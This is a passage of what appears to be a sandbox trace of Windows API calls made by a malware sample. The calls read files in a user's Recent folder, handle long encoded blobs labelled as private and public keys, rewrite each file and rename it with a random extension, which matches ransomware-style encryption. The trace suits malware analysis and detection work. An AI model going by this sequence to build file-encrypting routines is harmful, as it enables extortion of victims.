aEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.589] GetCurrentThreadId () returned 0xa30 [0083.589] GetCurrentThreadId () returned 0xa30 [0083.590] GetCurrentThreadId () returned 0xa30 [0083.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.590] GetCurrentThreadId () returned 0xa30 [0083.590] GetCurrentThreadId () returned 0xa30 [0083.590] GetCurrentThreadId () returned 0xa30 [0083.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.591] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.591] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.591] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa25 [0083.591] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.591] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa25, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa25, lpOverlapped=0x0) returned 1 [0083.592] CloseHandle (hObject=0x124) returned 1 [0083.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.594] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa25, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa25, lpOverlapped=0x0) returned 1 [0083.595] CloseHandle (hObject=0x124) returned 1 [0083.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SzoFqVMTlfvxL3--V.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\szofqvmtlfvxl3--v.flv.lnk.zv7un")) returned 1 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] GetCurrentThreadId () returned 0xa30 [0083.597] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30bb760, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30bb760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3107a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1470, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="tsgG.flv.lnk", cAlternateFileName="TSGGFL~1.LNK")) returned 1 [0083.597] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.597] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30bb760, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30bb760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3107a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1470)) returned 1 [0083.597] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\tsgg.flv.lnk")) returned 0x20 [0083.597] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsgG.flv.lnk", dwFileAttributes=0x80) returned 1 [0083.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOu